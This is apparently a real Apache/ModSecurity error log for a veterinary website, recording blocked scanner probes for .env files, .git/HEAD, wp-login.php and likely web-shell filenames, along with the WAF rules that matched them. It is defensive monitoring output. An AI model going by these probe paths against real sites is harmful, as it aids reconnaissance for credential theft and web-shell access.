[Thu Dec 11 09:15:10.410827 2025] [:error] [pid 27459:tid 27468] [client 49.180.244.248:22740] [client 49.180.244.248] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "142.93.51.235_f5a33d0f730ef5dfbb1133b1daf97081b118f0f8"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2023/04/cropped-android-chrome-512x512-1-32x32.png"] [unique_id "aTobG1hPEXihPBKMpROoCgAAAQc"]
[Thu Dec 11 09:28:23.031406 2025] [:error] [pid 58099:tid 58118] [client 51.75.54.138:35380] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.75.54.138, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aToeN8KZVSF_bdPFqRhuVAAAANE"]
[Thu Dec 11 11:29:25.891605 2025] [:error] [pid 48261:tid 48276] [client 34.222.248.152:41966] [client 34.222.248.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aTo6leyPI4WU-4JmiQP86AAAAYw"]
[Thu Dec 11 11:29:26.255389 2025] [:error] [pid 27459:tid 27466] [client 34.222.248.152:41976] [client 34.222.248.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env"] [unique_id "aTo6llhPEXihPBKMpRPKiwAAAQU"]
[Thu Dec 11 11:29:26.618856 2025] [:error] [pid 57990:tid 57998] [client 34.222.248.152:41992] [client 34.222.248.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/config/.env"] [unique_id "aTo6lgqZT_dc36fQdXEEfAAAAAM"]
[Thu Dec 11 11:29:26.983983 2025] [:error] [pid 27459:tid 27480] [client 34.222.248.152:42002] [client 34.222.248.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.env"] [unique_id "aTo6llhPEXihPBKMpRPKjwAAARM"]
[Thu Dec 11 11:29:27.347071 2025] [:error] [pid 57990:tid 58001] [client 34.222.248.152:42014] [client 34.222.248.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/admin/.env"] [unique_id "aTo6lwqZT_dc36fQdXEEfgAAAAY"]
[Thu Dec 11 11:29:27.710887 2025] [:error] [pid 48261:tid 48265] [client 34.222.248.152:42016] [client 34.222.248.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/backend/.env"] [unique_id "aTo6l-yPI4WU-4JmiQP86QAAAYE"]
[Thu Dec 11 11:29:28.077186 2025] [:error] [pid 58099:tid 58102] [client 34.222.248.152:42022] [client 34.222.248.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/frontend/.env"] [unique_id "aTo6mMKZVSF_bdPFqRiMFAAAAME"]
[Thu Dec 11 11:29:28.442632 2025] [:error] [pid 27459:tid 27483] [client 34.222.248.152:42028] [client 34.222.248.152] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aTo6mFhPEXihPBKMpRPKlgAAARY"]
[Thu Dec 11 12:01:44.895818 2025] [:error] [pid 57990:tid 58002] [client 134.122.6.46:41992] [client 134.122.6.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.122.6.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTpCKAqZT_dc36fQdXENDgAAAAc"]
[Thu Dec 11 13:16:25.133606 2025] [ssl:error] [pid 58099:tid 58122] [client 15.204.182.106:42268] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://macfieldsvet.com.au/
[Thu Dec 11 13:21:10.367859 2025] [:error] [pid 58099:tid 58108] [client 148.251.75.141:42856] [client 148.251.75.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.251.75.141, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTpUxsKZVSF_bdPFqRiphAAAAMc"]
[Thu Dec 11 14:22:55.961042 2025] [ssl:error] [pid 58099:tid 58108] [client 15.204.182.106:25134] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: https://www.macfieldsvet.com.au/
[Thu Dec 11 14:41:09.590246 2025] [:error] [pid 57991:tid 58031] [client 198.199.69.209:44760] [client 198.199.69.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.199.69.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTpnhaPyGmNXA2ZsETZdDAAAAEk"]
[Thu Dec 11 16:00:39.608782 2025] [:error] [pid 48261:tid 48283] [client 103.39.132.40:43250] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.39.132.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTp6J-yPI4WU-4JmiQNl7QAAAZM"]
[Thu Dec 11 16:25:57.324929 2025] [:error] [pid 57992:tid 58058] [client 43.130.101.151:57808] [client 43.130.101.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aTqAFeUeau0BMFF2vHl4qQAAAIk"]
[Thu Dec 11 18:48:39.638264 2025] [:error] [pid 35112:tid 35119] [client 83.136.145.99:22942] [client 83.136.145.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 83.136.145.99, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTqhh59ZpQ0WIeJhsJdSnQAAAUU"]
[Thu Dec 11 18:48:50.259869 2025] [:error] [pid 58099:tid 58123] [client 5.45.121.230:35432] [client 5.45.121.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.45.121.230, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTqhksKZVSF_bdPFqRj79AAAANY"]
[Thu Dec 11 19:00:37.189326 2025] [:error] [pid 58814:tid 58817] [client 147.182.228.99:46086] [client 147.182.228.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aTqkVdiz0l9AD_3pkMwP8QAAAcE"]
[Thu Dec 11 19:00:40.663144 2025] [:error] [pid 35112:tid 35131] [client 147.182.228.99:38722] [client 147.182.228.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2023/04/cropped-android-chrome-512x512-1-32x32.png"] [unique_id "aTqkWJ9ZpQ0WIeJhsJdWowAAAVE"]
[Thu Dec 11 19:00:41.318408 2025] [:error] [pid 57992:tid 58062] [client 147.182.228.99:38736] [client 147.182.228.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aTqkWeUeau0BMFF2vHmfGwAAAI0"]
[Thu Dec 11 20:09:31.725806 2025] [:error] [pid 58099:tid 58102] [client 207.244.254.77:51116] [client 207.244.254.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.244.254.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTq0e8KZVSF_bdPFqRgRcAAAAME"]
[Thu Dec 11 20:40:23.713644 2025] [:error] [pid 24483:tid 24487] [client 49.235.136.28:43870] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTq7t1GHKh2d_uVkopRe2AAAAgI"]
[Thu Dec 11 20:41:50.822839 2025] [:error] [pid 35112:tid 35138] [client 52.230.86.213:45312] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aTq8Dp9ZpQ0WIeJhsJdq3AAAAVg"]
[Thu Dec 11 20:41:51.052241 2025] [:error] [pid 58814:tid 58840] [client 52.230.86.213:34495] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aTq8D9iz0l9AD_3pkMwzbAAAAdg"]
[Thu Dec 11 20:41:51.320695 2025] [:error] [pid 57990:tid 58000] [client 52.230.86.213:47708] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aTq8DwqZT_dc36fQdXGDtAAAAAU"]
[Thu Dec 11 20:41:51.573591 2025] [:error] [pid 58814:tid 58829] [client 52.230.86.213:19402] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mh.php"] [unique_id "aTq8D9iz0l9AD_3pkMwzbwAAAc0"]
[Thu Dec 11 20:41:51.867909 2025] [:error] [pid 58099:tid 58125] [client 52.230.86.213:47720] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aTq8D8KZVSF_bdPFqRgX0QAAANg"]
[Thu Dec 11 20:41:52.058011 2025] [:error] [pid 58814:tid 58834] [client 52.230.86.213:46183] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aTq8ENiz0l9AD_3pkMwzcgAAAdI"]
[Thu Dec 11 20:41:52.364562 2025] [:error] [pid 58814:tid 58837] [client 52.230.86.213:47680] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aTq8ENiz0l9AD_3pkMwzdAAAAdU"]
[Thu Dec 11 20:41:52.803085 2025] [:error] [pid 24483:tid 24508] [client 52.230.86.213:47685] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aTq8EFGHKh2d_uVkopRfKAAAAhc"]
[Thu Dec 11 20:41:53.201091 2025] [:error] [pid 58814:tid 58819] [client 52.230.86.213:34492] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aTq8Ediz0l9AD_3pkMwzdwAAAcM"]
[Thu Dec 11 20:41:53.389080 2025] [:error] [pid 57992:tid 58060] [client 52.230.86.213:18471] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aTq8EeUeau0BMFF2vHmyOwAAAIs"]
[Thu Dec 11 20:41:53.661417 2025] [:error] [pid 24527:tid 24571] [client 52.230.86.213:46156] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aTq8EV9_glvtS5vXiTUHPgAAAo8"]
[Thu Dec 11 20:41:53.860820 2025] [:error] [pid 24527:tid 24558] [client 52.230.86.213:49794] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aTq8EV9_glvtS5vXiTUHQAAAAoI"]
[Thu Dec 11 20:41:54.055860 2025] [:error] [pid 58814:tid 58831] [client 52.230.86.213:47736] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aTq8Etiz0l9AD_3pkMwzegAAAc8"]
[Thu Dec 11 20:41:54.236419 2025] [:error] [pid 57991:tid 58023] [client 52.230.86.213:57765] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aTq8EqPyGmNXA2ZsETa2vwAAAEE"]
[Thu Dec 11 20:41:54.429042 2025] [:error] [pid 24483:tid 24501] [client 52.230.86.213:57790] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aTq8ElGHKh2d_uVkopRfKgAAAhA"]
[Thu Dec 11 20:41:54.774599 2025] [:error] [pid 58099:tid 58122] [client 52.230.86.213:57729] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class19.php"] [unique_id "aTq8EsKZVSF_bdPFqRgX1AAAANU"]
[Thu Dec 11 20:41:55.047597 2025] [:error] [pid 24483:tid 24502] [client 52.230.86.213:46185] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aTq8E1GHKh2d_uVkopRfLQAAAhE"]
[Thu Dec 11 20:41:55.253435 2025] [:error] [pid 58814:tid 58820] [client 52.230.86.213:18477] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aTq8E9iz0l9AD_3pkMwzfAAAAcQ"]
[Thu Dec 11 20:41:55.447000 2025] [:error] [pid 58099:tid 58117] [client 52.230.86.213:57783] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aTq8E8KZVSF_bdPFqRgX1wAAANA"]
[Thu Dec 11 20:41:55.692982 2025] [:error] [pid 58814:tid 58832] [client 52.230.86.213:34490] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class20.php"] [unique_id "aTq8E9iz0l9AD_3pkMwzfQAAAdA"]
[Thu Dec 11 20:41:55.924532 2025] [:error] [pid 24527:tid 24576] [client 52.230.86.213:18958] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTq8E19_glvtS5vXiTUHQwAAApQ"]
[Thu Dec 11 20:41:56.271623 2025] [:error] [pid 57991:tid 58034] [client 52.230.86.213:46162] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTq8FKPyGmNXA2ZsETa2wQAAAEw"]
[Thu Dec 11 20:41:56.475326 2025] [:error] [pid 57992:tid 58070] [client 52.230.86.213:57774] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTq8FOUeau0BMFF2vHmyQAAAAJU"]
[Thu Dec 11 20:41:56.706924 2025] [:error] [pid 48261:tid 48273] [client 52.230.86.213:47717] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aTq8FOyPI4WU-4JmiQPAZQAAAYk"]
[Thu Dec 11 20:41:56.924658 2025] [:error] [pid 57992:tid 58069] [client 52.230.86.213:49232] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aTq8FOUeau0BMFF2vHmyQQAAAJQ"]
[Thu Dec 11 20:41:57.119992 2025] [:error] [pid 58099:tid 58105] [client 52.230.86.213:49265] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aTq8FcKZVSF_bdPFqRgX2gAAAMQ"]
[Thu Dec 11 20:41:57.500293 2025] [:error] [pid 57992:tid 58065] [client 52.230.86.213:57747] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aTq8FeUeau0BMFF2vHmyRAAAAJA"]
[Thu Dec 11 20:41:57.772609 2025] [:error] [pid 24483:tid 24489] [client 52.230.86.213:34488] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/randkeyword.php"] [unique_id "aTq8FVGHKh2d_uVkopRfLwAAAgQ"]
[Thu Dec 11 20:41:58.040133 2025] [:error] [pid 58814:tid 58826] [client 52.230.86.213:57789] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwe.php"] [unique_id "aTq8Ftiz0l9AD_3pkMwzggAAAco"]
[Thu Dec 11 20:41:58.255526 2025] [:error] [pid 57991:tid 58046] [client 52.230.86.213:55686] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwe.php"] [unique_id "aTq8FqPyGmNXA2ZsETa2wgAAAFg"]
[Thu Dec 11 20:41:58.563706 2025] [:error] [pid 57992:tid 58050] [client 52.230.86.213:18974] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwe.php"] [unique_id "aTq8FuUeau0BMFF2vHmySAAAAIE"]
[Thu Dec 11 20:41:58.846334 2025] [:error] [pid 58099:tid 58124] [client 52.230.86.213:18441] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fwe.php"] [unique_id "aTq8FsKZVSF_bdPFqRgX3QAAANc"]
[Thu Dec 11 20:41:59.137484 2025] [:error] [pid 58099:tid 58114] [client 52.230.86.213:49238] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "aTq8F8KZVSF_bdPFqRgX4AAAAM0"]
